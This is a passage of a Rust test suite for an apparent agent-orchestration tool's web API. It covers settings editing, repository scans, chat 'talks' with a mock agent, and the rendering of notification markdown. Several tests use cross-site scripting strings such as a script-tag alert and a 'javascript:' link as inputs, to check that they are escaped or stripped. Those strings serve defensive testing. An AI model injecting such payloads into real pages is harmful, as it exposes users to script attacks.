14372            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14373        }
14374        let error = f
14375            .get(&format!("/api/settings?repo={}", broken.display()))
14376            .await;
14377        assert_eq!(error.status, 200);
14378        assert!(error.json()["error"]["message"].is_string());
14379        assert_eq!(error.json()["repositories"], default["repositories"]);
14380    }
14381
14382    #[tokio::test]
14383    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14384        let (_tmp, repo, machine) =
14385            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14386        let f = Fixture::with_repo_and_machine(repo, machine).await;
14387        let res = f.get("/api/settings").await;
14388        assert_eq!(res.status, 200, "{}", res.body);
14389        let v = res.json();
14390        assert!(v["error"].is_null(), "{v}");
14391        let role = |k: &str| {
14392            v["roles"]
14393                .as_array()
14394                .and_then(|r| r.iter().find(|x| x["key"] == k))
14395                .cloned()
14396                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14397        };
14398        assert_eq!(role("judges")["source"], "machine");
14399        assert_eq!(role("judges")["editable"], true);
14400        assert_eq!(role("implementers")["source"], "default");
14401        let adv = role("advisors");
14402        assert_eq!(adv["fallback"], "judges");
14403        assert!(
14404            adv["seats"]
14405                .as_array()
14406                .is_some_and(|s| s.iter().all(|x| x == "b")),
14407            "{adv}"
14408        );
14409        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14410        assert_eq!(v["agents"][0]["source"], "repo");
14411    }
14412
14413    #[tokio::test]
14414    async fn settings_get_reports_a_config_that_does_not_parse() {
14415        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14416        let f = Fixture::with_repo_and_machine(repo, machine).await;
14417        let res = f.get("/api/settings").await;
14418        assert_eq!(res.status, 200, "{}", res.body);
14419        let v = res.json();
14420        assert!(v["error"]["message"].is_string(), "{v}");
14421        assert!(
14422            v["error"]["path"]
14423                .as_str()
14424                .is_some_and(|p| p.ends_with("magi.toml")),
14425            "{v}"
14426        );
14427        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14428    }
14429
14430    #[tokio::test]
14431    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14432        let (_tmp, repo, machine) = settings_dirs(
14433            SETTINGS_AGENTS,
14434            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14435        );
14436        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14437        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14438        let rev = f.get("/api/settings").await.json()["revision"]
14439            .as_str()
14440            .expect("revision")
14441            .to_owned();
14442        let body = serde_json::json!({
14443            "revision": rev,
14444            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14445        })
14446        .to_string();
14447        let res = f.put("/api/settings/roles", &body).await;
14448        assert_eq!(res.status, 200, "{}", res.body);
14449        let text = std::fs::read_to_string(&machine).expect("machine");
14450        assert_eq!(
14451            text,
14452            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14453        );
14454        assert_eq!(
14455            std::fs::read(repo.join("magi.toml")).expect("read"),
14456            repo_before
14457        );
14458        let again = f.get("/api/settings").await.json();
14459        let judges = again["roles"]
14460            .as_array()
14461            .expect("roles")
14462            .iter()
14463            .find(|r| r["key"] == "judges")
14464            .expect("judges")
14465            .clone();
14466        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14467        // The old revision is now stale.
14468        let stale = f.put("/api/settings/roles", &body).await;
14469        assert_eq!(stale.status, 409, "{}", stale.body);
14470    }
14471
14472    #[tokio::test]
14473    async fn settings_counts_are_reported_and_saved() {
14474        let (_tmp, repo, machine) = settings_dirs(
14475            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14476            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14477        );
14478        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14479        let v = f.get("/api/settings").await.json();
14480        let count = |v: &serde_json::Value, k: &str| {
14481            v["roles"]
14482                .as_array()
14483                .and_then(|r| r.iter().find(|x| x["key"] == k))
14484                .map(|x| x["count"].clone())
14485                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14486        };
14487        let imp = count(&v, "implementers");
14488        assert_eq!(imp["value"], 2);
14489        assert_eq!(imp["source"], "machine");
14490        assert_eq!(imp["file_key"], "candidates");
14491        assert_eq!(imp["roster_len"], 2);
14492        assert_eq!(imp["backups"], 0);
14493        assert_eq!(count(&v, "judges")["source"], "default");
14494        assert_eq!(count(&v, "advisors")["min"], 0);
14495        assert_eq!(count(&v, "reviewers")["editable"], false);
14496        assert!(
14497            count(&v, "reviewers")["locked_reason"]
14498                .as_str()
14499                .is_some_and(|m| m.contains("graph.reviewers"))
14500        );
14501        assert!(count(&v, "fixer").is_null());
14502        let rev = v["revision"].as_str().expect("revision").to_owned();
14503        let body = serde_json::json!({
14504            "revision": rev,
14505            "roles": { "judges": ["b"] },
14506            "counts": { "implementers": 1, "advisors": 0 }
14507        })
14508        .to_string();
14509        let res = f.put("/api/settings/roles", &body).await;
14510        assert_eq!(res.status, 200, "{}", res.body);
14511        let text = std::fs::read_to_string(&machine).expect("machine");
14512        assert_eq!(
14513            text,
14514            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14515        );
14516        let after = f.get("/api/settings").await.json();
14517        assert_eq!(count(&after, "implementers")["value"], 1);
14518        assert_eq!(count(&after, "implementers")["backups"], 1);
14519        assert_eq!(count(&after, "advisors")["value"], 0);
14520        let before = std::fs::read_to_string(&machine).expect("machine");
14521        let rev = after["revision"].as_str().expect("revision").to_owned();
14522        for counts in [
14523            serde_json::json!({ "judges": 0 }),
14524            serde_json::json!({ "judges": "x" }),
14525            serde_json::json!({ "judges": 2.5 }),
14526            serde_json::json!({ "judges": -1 }),
14527            serde_json::json!({ "reviewers": 3 }),
14528            serde_json::json!({ "bogus": 3 }),
14529        ] {
14530            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14531            let res = f.put("/api/settings/roles", &body).await;
14532            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14533            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14534        }
14535    }
14536
14537    #[tokio::test]
14538    async fn settings_put_refuses_without_touching_the_file() {
14539        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14540        let (_tmp, repo, machine) = settings_dirs(
14541            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14542            Some(machine_text),
14543        );
14544        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14545        let rev = f.get("/api/settings").await.json()["revision"]
14546            .as_str()
14547            .expect("revision")
14548            .to_owned();
14549        for roles in [
14550            serde_json::json!({ "judges": ["nope"] }),
14551            serde_json::json!({ "reviewers": ["b"] }),
14552            serde_json::json!({ "bogus": ["a"] }),
14553        ] {
14554            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14555            let res = f.put("/api/settings/roles", &body).await;
14556            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14557            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14558            assert_eq!(
14559                std::fs::read_to_string(&machine).expect("machine"),
14560                machine_text
14561            );
14562        }
14563    }
14564
14565    #[tokio::test]
14566    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14567        let tmp = TempDir::new().expect("tempdir");
14568        let repo = tmp.path().join("repo");
14569        std::fs::create_dir_all(&repo).expect("repo dir");
14570        let root = tmp.path().join("root");
14571        make_checkout(&root, "github.com", "yukimemi", "magi");
14572        std::fs::write(
14573            repo.join("magi.toml"),
14574            format!(
14575                "[repos]\nroots = [{:?}]\n",
14576                root.to_string_lossy().into_owned()
14577            ),
14578        )
14579        .expect("write magi.toml");
14580
14581        let f = Fixture::with_repo(repo).await;
14582        let res = f.get("/api/repos").await;
14583        assert_eq!(res.status, 200, "{}", res.body);
14584        let list = res.json();
14585        let repos = list.as_array().expect("an array");
14586        assert_eq!(repos.len(), 1);
14587        assert_eq!(repos[0]["name"], "yukimemi/magi");
14588        assert!(
14589            repos[0]["path"]
14590                .as_str()
14591                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14592            "{list}"
14593        );
14594    }
14595
14596    #[tokio::test]
14597    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14598        let tmp = TempDir::new().expect("tempdir");
14599        let repo = tmp.path().join("repo");
14600        std::fs::create_dir_all(&repo).expect("repo dir");
14601        let root = tmp.path().join("root");
14602        make_checkout(&root, "github.com", "yukimemi", "magi");
14603        std::fs::write(
14604            repo.join("magi.toml"),
14605            format!(
14606                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14607                root.to_string_lossy().into_owned()
14608            ),
14609        )
14610        .expect("write magi.toml");
14611
14612        let f = Fixture::with_repo(repo).await;
14613        let first = f.get("/api/repos").await;
14614        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14615
14616        // A second checkout appears; within the TTL the cached answer must
14617        // not notice it.
14618        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14619        let second = f.get("/api/repos").await;
14620        assert_eq!(
14621            second.json().as_array().map(Vec::len),
14622            Some(1),
14623            "a fresh cache must not rescan inside the TTL"
14624        );
14625
14626        let refreshed = f.get("/api/repos?refresh=1").await;
14627        assert_eq!(
14628            refreshed.json().as_array().map(Vec::len),
14629            Some(2),
14630            "an explicit refresh must rescan even inside the TTL"
14631        );
14632    }
14633
14634    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14635    /// string, declared straight in a repository's own `magi.toml` rather
14636    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14637    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14638    /// this is safe to run over a real HTTP round trip.
14639    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14640
14641    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14642    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14643    /// even though it takes no turn, and `talk_say` invokes one.
14644    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14645        let tmp = TempDir::new().expect("tempdir");
14646        let repo = tmp.path().join("repo");
14647        std::fs::create_dir_all(&repo).expect("repo dir");
14648        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14649        let f = Fixture::with_repo(repo.clone()).await;
14650        (tmp, repo, f)
14651    }
14652
14653    #[tokio::test]
14654    async fn posting_a_talk_with_remembered_choices_is_soft() {
14655        let (_tmp, _repo, f) = talk_fixture().await;
14656
14657        let good = f
14658            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14659            .await;
14660        assert_eq!(good.status, 201, "{}", good.body);
14661        assert_eq!(good.json()["persona"], "rei");
14662
14663        // Wrong values and wrong types are dropped one by one, never a 4xx.
14664        let stale = f
14665            .post(
14666                "/api/talks",
14667                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14668            )
14669            .await;
14670        assert_eq!(stale.status, 201, "{}", stale.body);
14671        let v = stale.json();
14672        assert_eq!(v["implementers"], 1);
14673        assert_ne!(v["persona"], "nobody");
14674        let typed = f
14675            .post(
14676                "/api/talks",
14677                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14678            )
14679            .await;
14680        assert_eq!(typed.status, 201, "{}", typed.body);
14681
14682        // The strict `agent` field still refuses an unknown id.
14683        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14684        assert!(
14685            !strict.status.to_string().starts_with('2'),
14686            "{}",
14687            strict.body
14688        );
14689    }
14690
14691    #[tokio::test]
14692    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14693        let (_tmp, _repo, f) = talk_fixture().await;
14694
14695        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14696        // is the ordinary way a phone opens a talk.
14697        let opened = f.post("/api/talks", None).await;
14698        assert_eq!(opened.status, 201, "{}", opened.body);
14699        let body = opened.json();
14700        assert_eq!(body["status"], "open");
14701        assert_eq!(
14702            body["turns"].as_array().unwrap().len(),
14703            0,
14704            "opening takes no agent turn: there is nothing yet to answer"
14705        );
14706
14707        // An explicit empty object is the same request as none at all.
14708        let also_opened = f.post("/api/talks", Some("{}")).await;
14709        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14710
14711        let listed = f.get("/api/talks").await.json();
14712        assert_eq!(listed.as_array().unwrap().len(), 2);
14713    }
14714
14715    #[tokio::test]
14716    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14717        let tmp = TempDir::new().expect("tempdir");
14718        let repo = tmp.path().join("repo");
14719        std::fs::create_dir_all(&repo).expect("repo dir");
14720        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14721        std::fs::write(
14722            repo.join("magi.toml"),
14723            format!("{MOCK_AGENT_TOML}\n{second}"),
14724        )
14725        .expect("write magi.toml");
14726        let home = TempDir::new().expect("temp home");
14727        let talks = Talks::at(home.path().join("talks"));
14728        let ui = Arc::new(
14729            Ui::new(
14730                Queue::at(home.path().join("queue")),
14731                Questions::at(home.path().join("questions")),
14732                talks.clone(),
14733                home.path().join("runs"),
14734                home.path().to_path_buf(),
14735                repo.clone(),
14736            )
14737            .with_worktrees_root(home.path().join("wt")),
14738        );
14739        let cfg = config_for(&repo).await.expect("discover config");
14740        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14741        let id = talk.id.clone();
14742        let call = |agent: &str| {
14743            talk_agent(
14744                State(Arc::clone(&ui)),
14745                Path(id.clone()),
14746                Json(TalkAgent {
14747                    agent: agent.to_owned(),
14748                }),
14749            )
14750        };
14751
14752        let unknown = call("nobody").await.expect_err("unknown agent");
14753        assert_eq!(
14754            unknown.status,
14755            StatusCode::BAD_REQUEST,
14756            "{}",
14757            unknown.message
14758        );
14759
14760        {
14761            // Nothing refused so far took a claim, so the guard is free to take
14762            // and holding it is what makes the talk busy.
14763            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14764            let busy = call("second").await.expect_err("busy talk");
14765            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14766            assert!(
14767                busy.message.contains("a talk turn is running"),
14768                "{}",
14769                busy.message
14770            );
14771            drop(guard);
14772        }
14773        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14774
14775        let Json(view) = call("second").await.expect("switch");
14776        assert_eq!(view.talk.agent, "second");
14777        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14778        let saved = talks.get(&id).expect("reload");
14779        assert_eq!(saved.agent, "second");
14780        assert_eq!(saved.turns.len(), 1);
14781        assert!(!view.thinking);
14782        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14783        for agent in ["mock", "second"] {
14784            let Json(view) = call(agent).await.expect("immediate consecutive change");
14785            assert_eq!(view.talk.agent, agent);
14786            assert!(!view.thinking);
14787            assert!(!ui.is_thinking(&id));
14788        }
14789
14790        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14791            .await
14792            .expect("detail");
14793        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14794        assert_eq!(roster, ["mock", "second"]);
14795
14796        let mut closed = talks.get(&id).expect("reload");
14797        talk::close(&mut closed, &talks).expect("close");
14798        let refused = call("mock").await.expect_err("closed talk");
14799        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14800        assert!(
14801            refused.message.contains("takes no more turns"),
14802            "{}",
14803            refused.message
14804        );
14805    }
14806
14807    #[tokio::test]
14808    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14809        let tmp = TempDir::new().expect("tempdir");
14810        let repo = tmp.path().join("repo");
14811        std::fs::create_dir_all(&repo).expect("repo dir");
14812        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14813        let home = TempDir::new().expect("temp home");
14814        let talks = Talks::at(home.path().join("talks"));
14815        let ui = Arc::new(
14816            Ui::new(
14817                Queue::at(home.path().join("queue")),
14818                Questions::at(home.path().join("questions")),
14819                talks.clone(),
14820                home.path().join("runs"),
14821                home.path().to_path_buf(),
14822                repo.clone(),
14823            )
14824            .with_worktrees_root(home.path().join("wt")),
14825        );
14826        let cfg = config_for(&repo).await.expect("discover config");
14827        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14828        let id = talk.id.clone();
14829        let call = |n: u8| {
14830            talk_implementers(
14831                State(Arc::clone(&ui)),
14832                Path(id.clone()),
14833                Json(TalkImplementers { implementers: n }),
14834            )
14835        };
14836
14837        for bad in [0u8, 4] {
14838            let e = call(bad).await.expect_err("out of range");
14839            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14840        }
14841        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14842
14843        {
14844            // Nothing refused so far took a claim, so the guard is free to take
14845            // and holding it is what makes the talk busy.
14846            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14847            let busy = call(2).await.expect_err("busy talk");
14848            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14849            assert!(
14850                busy.message.contains("a talk turn is running"),
14851                "{}",
14852                busy.message
14853            );
14854            drop(guard);
14855        }
14856
14857        let Json(view) = call(3).await.expect("switch");
14858        assert_eq!(view.talk.implementers, 3);
14859        assert!(talks.get(&id).expect("reload").implementers_dirty);
14860        assert!(!view.thinking);
14861        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14862        for n in [1, 2, 3] {
14863            let Json(view) = call(n).await.expect("immediate consecutive change");
14864            assert_eq!(view.talk.implementers, n);
14865            assert!(!view.thinking);
14866            assert!(!ui.is_thinking(&id));
14867        }
14868
14869        let mut closed = talks.get(&id).expect("reload");
14870        talk::close(&mut closed, &talks).expect("close");
14871        let e = call(2).await.expect_err("closed talk");
14872        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14873        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14874    }
14875
14876    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14877    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14878        let tmp = TempDir::new().expect("tempdir");
14879        let repo = tmp.path().join("repo");
14880        std::fs::create_dir_all(&repo).expect("repo dir");
14881        std::fs::write(
14882            repo.join("magi.toml"),
14883            format!("{MOCK_AGENT_TOML}\n{extra}"),
14884        )
14885        .expect("write magi.toml");
14886        let home = TempDir::new().expect("temp home");
14887        let talks = Talks::at(home.path().join("talks"));
14888        let ui = Arc::new(
14889            Ui::new(
14890                Queue::at(home.path().join("queue")),
14891                Questions::at(home.path().join("questions")),
14892                talks.clone(),
14893                home.path().join("runs"),
14894                home.path().to_path_buf(),
14895                repo.clone(),
14896            )
14897            .with_worktrees_root(home.path().join("wt")),
14898        );
14899        let cfg = config_for(&repo).await.expect("discover config");
14900        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14901        (tmp, home, ui, talk.id, repo)
14902    }
14903
14904    #[tokio::test]
14905    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14906        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14907        let mut conversation = ui.talks.get(&id).unwrap();
14908        talk::record(
14909            &mut conversation,
14910            &ui.talks,
14911            "# Update on a task you filed\noperator words",
14912            vec![],
14913        )
14914        .unwrap();
14915        // Simulate an old operator record; headings do not prove authorship.
14916        conversation.turns[0].sender = None;
14917        conversation.turns[0].messages.clear();
14918        ui.talks.put(&mut conversation).unwrap();
14919        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14920        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14921        talk::drain(&mut conversation, &ui.talks).unwrap();
14922        talk::record_reply(
14923            &mut conversation,
14924            &ui.talks,
14925            "about that report",
14926            vec![],
14927            Some(talk::ReplyTarget {
14928                turn: 1,
14929                message: 1,
14930            }),
14931        )
14932        .unwrap();
14933        conversation.turns[2].messages[0]
14934            .reply
14935            .as_mut()
14936            .unwrap()
14937            .sender = None;
14938        conversation.turns.push(talk::Turn {
14939            sender: Some(talk::Sender::Persona),
14940            who: talk::Who::Agent,
14941            body: "magi: actual persona words".into(),
14942            at: Timestamp::now(),
14943            attachments: vec![],
14944            usage: None,
14945            breaks: None,
14946            messages: vec![],
14947            posted_by: None,
14948        });
14949        ui.talks.put(&mut conversation).unwrap();
14950        let view = TalkView::with_config(
14951            ui.talks.get(&id).unwrap(),
14952            false,
14953            None,
14954            &ui.home,
14955            &ui.references,
14956        );
14957        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14958        assert_eq!(
14959            view.talk.turns[1].messages[0].sender,
14960            Some(talk::Sender::Operator)
14961        );
14962        assert_eq!(
14963            view.talk.turns[1].messages[1].sender,
14964            Some(talk::Sender::Magi)
14965        );
14966        assert_eq!(
14967            view.talk.turns[2].messages[0]
14968                .reply
14969                .as_ref()
14970                .unwrap()
14971                .sender,
14972            Some(talk::Sender::Magi)
14973        );
14974        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14975        assert_eq!(view.turn_messages_md[0].len(), 1);
14976        assert!(view.turn_messages_md[0][0].is_none());
14977        assert!(view.turn_messages_md[1][0].is_none());
14978        assert!(view.turn_messages_md[1][1].is_some());
14979    }
14980
14981    #[tokio::test]
14982    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14983        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14984        let mut conversation = ui.talks.get(&id).unwrap();
14985        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14986        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14987        talk::queue_notice(
14988            &mut conversation,
14989            &ui.talks,
14990            &body,
14991            "watch:123",
14992            &|_| false,
14993            crate::chat_control::standing::Event::Watch {
14994                id: "watch-123".into(),
14995            },
14996            display.clone(),
14997        )
14998        .unwrap();
14999        assert!(
15000            !talk::queue_notice(
15001                &mut conversation,
15002                &ui.talks,
15003                &body,
15004                "watch:123",
15005                &|_| false,
15006                crate::chat_control::standing::Event::Watch {
15007                    id: "watch-123".into()
15008                },
15009                display.clone()
15010            )
15011            .unwrap()
15012        );
15013        let saved = ui.talks.get(&id).unwrap();
15014        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15015        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15016        assert!(
15017            view.talk.turns[0].messages[0].display.is_none(),
15018            "operator copy stays literal"
15019        );
15020        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15021        assert!(view.turn_messages_md[0][0].is_none());
15022        let queued_md = view.pending_messages_md[0].clone();
15023        assert_eq!(
15024            queued_md,
15025            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15026        );
15027        talk::drain(&mut conversation, &ui.talks).unwrap();
15028        talk::record_reply(
15029            &mut conversation,
15030            &ui.talks,
15031            "Explain",
15032            vec![],
15033            Some(talk::ReplyTarget {
15034                turn: 1,
15035                message: 0,
15036            }),
15037        )
15038        .unwrap();
15039        let mut saved = ui.talks.get(&id).unwrap();
15040        assert_eq!(saved.turns[1].messages[0].body, body);
15041        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15042        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15043        assert!(!reply.excerpt.contains("automatic report"));
15044        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15045        saved.turns[1].messages[0].display = None; // old MAGI send
15046        ui.talks.put(&mut saved).unwrap();
15047        let view = TalkView::with_config(
15048            ui.talks.get(&id).unwrap(),
15049            false,
15050            None,
15051            &ui.home,
15052            &ui.references,
15053        );
15054        assert_eq!(view.turn_messages_md[1][0], queued_md);
15055        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15056        assert!(
15057            !view.talk.turns[2].messages[0]
15058                .reply
15059                .as_ref()
15060                .unwrap()
15061                .excerpt
15062                .contains("automatic report")
15063        );
15064        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15065    }
15066
15067    #[tokio::test]
15068    async fn consultation_display_hides_directives_in_queue_and_history() {
15069        for node in [
15070            "implement",
15071            crate::land::APPROVAL_NODE,
15072            crate::github_text::ASK_NODE,
15073        ] {
15074            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15075            let mut question = Question::new(
15076                "run-123".into(),
15077                node.into(),
15078                "seat-1".into(),
15079                "Which backend?".into(),
15080                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15081                vec!["SQLite".into(), "Redis".into()],
15082            );
15083            ui.questions.put(&mut question).unwrap();
15084            let body = crate::prompt::chat_consult(&question);
15085            let mut conversation = ui.talks.get(&id).unwrap();
15086            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15087            assert!(
15088                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15089            );
15090            conversation = ui.talks.get(&id).unwrap();
15091            assert_eq!(conversation.pending_messages[0].body, body);
15092            assert!(body.contains("magi answer"));
15093            let mut legacy_pending = conversation.clone();
15094            legacy_pending.pending_messages[0].display = None;
15095            let legacy_view =
15096                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15097            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15098            assert!(legacy_md.contains("Question consultation"));
15099            assert!(!legacy_md.contains("magi answer"));
15100            let view =
15101                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15102            assert!(
15103                view.turn_messages_md[0][0].is_none(),
15104                "operator copy stays literal"
15105            );
15106            let queued_md = view.pending_messages_md[0].clone().unwrap();
15107            let rendered = serde_json::to_string(&queued_md).unwrap();
15108            for visible in [
15109                "Which backend?",
15110                "Context",
15111                "storage",
15112                "SQLite",
15113                "Redis",
15114                "<script>literal</script>",
15115            ] {
15116                assert!(rendered.contains(visible), "missing {visible}");
15117            }
15118            for directive in [
15119                "What to do",
15120                "magi answer",
15121                "Never answer it yourself",
15122                "Do not edit the repository",
15123            ] {
15124                assert!(!rendered.contains(directive), "exposed {directive}");
15125            }
15126            assert_eq!(
15127                view.talk.pending_messages[0].display,
15128                Some(crate::prompt::chat_consult_display(&question))
15129            );
15130            talk::drain(&mut conversation, &ui.talks).unwrap();
15131            let view =
15132                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15133            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15134            assert_eq!(conversation.turns[1].messages[0].body, body);
15135
15136            // Historical consultations lack a snapshot: show a safe placeholder
15137            // rather than parsing instructions or reconstructing mutable facts.
15138            conversation.turns[1].messages[0].display = None;
15139            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15140            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15141            assert!(legacy.contains("Question consultation"));
15142            assert!(!legacy.contains("magi answer"));
15143            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15144        }
15145    }
15146
15147    #[test]
15148    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15149        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15150        let (body, mut display) =
15151            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15152        display.facts = facts.into();
15153        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15154        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15155        let json = serde_json::to_string(&nodes).unwrap();
15156        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15157            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15158        }
15159        assert!(json.contains("<script>alert(1)</script>"));
15160        assert!(!json.contains("javascript:"));
15161        assert!(!json.contains("Tell the operator"));
15162        assert!(!json.contains("untrusted"));
15163        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15164        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15165        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15166        assert_eq!(
15167            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15168            md::to_nodes("# Status", &md::ImageBase::None),
15169        );
15170    }
15171
15172    #[tokio::test]
15173    async fn notification_display_recovers_exact_legacy_completion_references() {
15174        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15175        let mut conversation = ui.talks.get(&id).unwrap();
15176        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15177            id: "task-123",
15178            title: "Change",
15179            status: "done",
15180            reason: None,
15181            run: Some("run-123"),
15182            pr: None,
15183            summary: Some("Merge state unknown"),
15184        });
15185        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15186        conversation.turns[0].sender = None;
15187        conversation.turns[0].messages.clear();
15188        conversation.turns[0].breaks = None;
15189        conversation.pending = body.clone();
15190        conversation
15191            .completion_notices
15192            .push(crate::chat_notify::CompletionReference {
15193                task: "task-123".into(),
15194                run: Some("run-123".into()),
15195                notice: body.clone(),
15196            });
15197        ui.talks.put(&mut conversation).unwrap();
15198        let view = TalkView::with_config(
15199            ui.talks.get(&id).unwrap(),
15200            false,
15201            None,
15202            &ui.home,
15203            &ui.references,
15204        );
15205        assert_eq!(
15206            view.talk.turns[0].messages[0].display,
15207            Some(display.clone())
15208        );
